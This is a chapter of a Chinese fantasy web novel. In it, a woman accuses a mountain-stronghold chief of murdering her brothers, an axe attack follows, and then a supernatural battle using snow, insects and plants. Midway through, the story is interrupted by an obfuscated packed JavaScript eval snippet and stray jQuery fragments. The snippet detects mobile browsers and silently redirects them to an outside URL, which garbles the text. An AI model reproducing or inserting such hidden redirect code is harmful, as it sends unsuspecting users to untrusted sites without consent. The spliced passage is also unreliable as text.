雪渐渐大了起来,鹅毛大的雪花落在代玲瘦弱的肩头,颇有几分沉冤似海的味道。
她抬头看着代宗赋,眼神里却有一种俯视着这个人,仿佛看透了一切的平静,她的声音在微微颤抖:
“寨主,你的哥哥们曾经那么爱护你,照顾你,你们是血浓于水的亲人...你为什么不给他们留一条活路呢?”
周围的人沉默地听着代玲的控诉,他们都隐隐感觉到了虎啸寨这些不幸之间的联系。
代宗赋仍然维持着原来的站姿,表情没有一丝波澜:
“玲姐姐,你起身说话吧,下雪了,地上凉。”
代玲神情坚定,字字泣血:
“不,你必须把我的丈夫,还有西风寨的族人们的尸体恭恭敬敬地送回去!否则,我会一直跪在这里,让大家看看龙吟山十八寨的首领背后是怎样的残忍!谋害亲兄,丧尽天良!”
此话一出,众人皆是倒吸一口凉气。有人替代宗赋不平道:
“你在胡说些什么?当年二当家出事的时候,寨主眼睛都要哭瞎了!”
“第一次手刃亲人,内心愧疚难过不是很正常吗,”代玲冷冷道,“第二次可就熟练多了吧!你们看看她,长兄和族人的尸体就被她藏在在寨脚,她还一如往常地大摆宴席,四散银两,欺骗我们的时候连眼睛都不曾眨一下!”
“够了,”代宗赋终于开口,目光森冷,“西风寨想要阻止我们阿依族成就伟业,也不必编出这么一套可笑的说辞。”
她不慌不忙,神色淡然,一句话就稳住了局面。人们纷纷将质疑的目光聚焦在代玲身上。
代玲怒道:
“你们不信,就去挖开寨脚那个灵棚后的土坡看看!”
“是了,”她忽然转头,指向带着面具看热闹的徐澄飞,竭力证明自己,“这位少侠发现的,她可以作证!”
徐澄飞感受到了代宗赋阴沉的视线,心中大呼倒霉,支支吾吾道:
“啊...我?我只是路过...”
代宗赋却并没有给她辩解的机会,沉声细数道:
“十年前,二哥发生意外,我有幸坐上了寨主的位置。那时我已二十有五,都说虎啸寨的老三做了二十多年无忧无虑的小姑娘,不嫁不生,忽然来当一寨之主,恐怕是难堪其任。”
“我整修驰道,大兴耕作,用比二哥多出千倍万倍的努力治理虎啸寨,短短两年就让它坐上了龙吟山十八寨之首的位置!”
“而你们呢,”代宗赋扫视了一遍仍然跪着的西风寨的人,“大哥一声不吭就带着二哥和一些族人走了。连老寨主那样生性凉薄的人都能看在我的成绩的份上支持我,你们却要与我分居而治,这时候兄妹情谊又何在?!”
她忽然靠近代玲,表情多了几分狰狞,咬牙切齿道:
“怎么?像养条小狗一样逗大的妹妹居然有如此野心,让做哥哥的不爽了?”
她冷哼一声,重新站回去,声音恢复了平静:
“自那之后,我开始积极与龙吟山以南的族人们联系。他们经过我多年的教化,思想上已经脱离了深山的遮蔽,知道了族人团结的重要性。而我在整个阿依族的影响力已经比任何一任寨主都要大,我自然当得起整个阿依族的首领!”
“然而两年前,多年不来往的大哥忽然来访。我本来欣喜万分,他却拖着他那条瘸腿痛斥我心术不正,族人会因我走向灭亡...这番道貌岸然的话从一个胆小懦弱,从没当过首领的瘸子里说出来,简直可笑!”
“你别以为我不知道这些年你们在我背后搞的小动作。顶着老寨主遗愿的名头,千方百计地阻止我和江湖上的人来往,我从来没有揭穿过你们,这难道还不算兄妹情谊吗?当初你们自己要另立门户,如今日子过得不如意,又要到我身上了讨不痛快了?”
她说完,深吸一口气,无情地下达了命令:
“把这些人请去喝口热茶吧,说了这么多胡话,想必已经是口感舌燥了。”
立刻有族人上前将西风寨的人架起来,连徐澄飞也跟着遭殃:
“诶诶,我什么也没说啊!放开我!”
代玲拼命挣扎,鞋子都飞出去一只,刚巧狠狠打在了代宗赋的脸上。
“代宗赋!你人面兽心,你当年栽赃陈蝶!那些虫子,还有傻子,这都是你的报应!”
拥在代宗赋身边的人都纷纷去捉发疯的代玲,一个举着斧头的身影在代宗赋的身后显露出来。
代虎满面通红,嘴角还残有酥渣。他看见代宗赋就在面前,舔了一口唇角,痴痴一笑:
“终于找到你了!”
斧头落下,鲜血瞬间染红了周围飞舞的雪花,它们被溅开后又轻飘飘地落到代虎的脸上,与上面的血珠相融,化开一道血痕,难辨难分。
“扑通!”
一位阿依族人重重跪在地上,她替代宗赋挡住了这一刀,背上是一道狰狞的伤口,深得可以看见森森白骨。
那是她结拜的义妹,是陪她闯天下的生死之交。
代宗赋的耳边顿时一阵嗡鸣,世界安静了下来。
她面无表情地看着义妹倒下,心里升起一阵毫无来由的麻木,死亡似乎已经不能使她悲伤害怕了。
难道真如代玲所说,这样的事对她来说已经是家常便饭了吗?
人们开始四散奔逃,徐澄飞挣脱了束缚。脚下响起令人头皮发麻的窸窸窣窣的声音。
她看向脚边,成千上万条鲜红的蜈蚣从四面八方而来,很快爬满了整片广场。
是花辫子来了!
裴景暄目光沉沉地看着一片虫海,眸色转红,却迟迟没有出声。
徐澄飞甩开几只爬上腿的虫子,这虫子似乎只会咬人,没有飞蝇那么可怖——大部分飞蝇已经在上次的争斗中死亡了。
她焦急道:
“裴景暄!”
裴景暄还是没有说话,似乎在等待着什么。
雪越来越大,竹楼的屋顶结了一层薄霜,天已经完全黑了,厚厚的云层遮蔽了月影,整个广场只有几把将要熄灭的火堆散发着幽幽的光芒。
一片晶莹完整的雪花飘到徐澄飞眼前,她下意识地闭眼,眼皮却迟迟没能等到冰凉的感觉。
她睁开眼,发现那片雪花在眼前几乎停住了,转动的动作也变得滞涩。
放眼望去,漫天飞舞的雪花仿佛被按下了慢速键,全部诡异地停止了飘动,连方才还凌冽刺骨的寒风也没了声息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417933|184717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裴景暄眸色鲜红,冷笑道:
“你可算出现了。”
“轰!”
狂风裹挟着冰渣如排山倒海般卷来,整个广场瞬间被白茫茫的雪花吞没!
冰渣钻进了徐澄飞的鼻子嘴巴,她难受地捂住口鼻,面具上眨眼间便结了一层霜,体温迅速下降,她的牙齿不禁打起了冷战。
呼啸的风声中,只听一道空灵的声音穿透了暴雪:
“此地禁止挪用天时。”
一道强有力的能量以裴景暄为中心成球形荡开。风声渐渐平息,雪势恢复了正常。
她的眼睫,发丝都结上了冰霜。她的手轻轻挥动,周围的雪花打着圈缓缓凝聚,结成了数十根手腕粗的冰锥,悬浮在空中,蓄势待发。
茫茫风霜散去,远处树林间走来一个高挑的身影。
她的右脸横贯着一条可怕的刀疤,同样身穿黑衣。
她紧紧盯着裴景暄,漫不经心背着一只手,另一只手则呈掌状,轻轻拂过路边的草木。
那些草木一经她的触碰,立刻软塌塌地倒下,有的甚至仿佛被吸干一般,迅速枯萎。她所到之处,一片枯黄。
裴景暄皱了皱眉,冰锥在空中一凝,飞速朝刀疤脸飞去!
刀疤脸见状,变掌为拳,一股强大的能量在她周围波动,身旁的灌木疯狂地生长,迅速在她面前形成了一面枝叶围成的护盾。
几十根冰锥在这面墙壁前碎成了冰渣。
裴景暄愣了愣,那个护盾却突然枯萎垮落了,紧接着,自己身后便传来“咯咯”的抽条声。
她立刻挥手,身后聚起一块冰幕。
竹竿却势头凶猛,唰唰冲破障碍,几十根竹子如利爪般向裴景暄刺来!
一道暗红的弧光划过,徐澄飞从空中挥刀劈下,长势迅猛的竹子被伏虺一一斩断。
她握住裴景暄的肩膀:
“我们去中间的空地!”
两人一边应付草木的攻击,一边疾跑到广场中央——这里铺了石砖,几乎没有生长的植物。
脚下的蜈蚣却猖狂起来,争先恐后地往二人身上爬。
裴景暄降下雪花,二人脚下升起一块冰台,靠近的虫子都被冻死在了周围。
刀疤脸沿着广场边缘向他们靠近,裴景暄射来的冰锥都被她轻而易举地挡下。她停在尚未熄灭的火堆旁,手掌轻轻拂过,火堆顿时冷却成了一堆炭渣。
她又抬手一挥。
徐澄飞感到脚下一阵温暖,冰台已经化成了水,成群的蜈蚣立马填补了这片空缺。远处响起“嘶嘶”声音,数十条青蛇扭动着身体滑过来。
这到底是什么神力?
徐澄飞挥刀应付着虫蛇,朝裴景暄催道:
“你能不能先把这些烦人的东西解决掉!”
裴景暄又向刀疤脸刮去一片冰渣,无奈回道:
“言灵只能建立在之前的基础上,我已经控制了天时,不能再对这些虫子进行束缚了。”
此时,广场四周的草木已经枯萎了大片。举目望去,光秃秃的树木纷纷弯下了腰。边缘的灌木开始不详地抽动起来。
裴景暄抬头望了一眼天空,轻声道:
“不好,雪开始变小了。”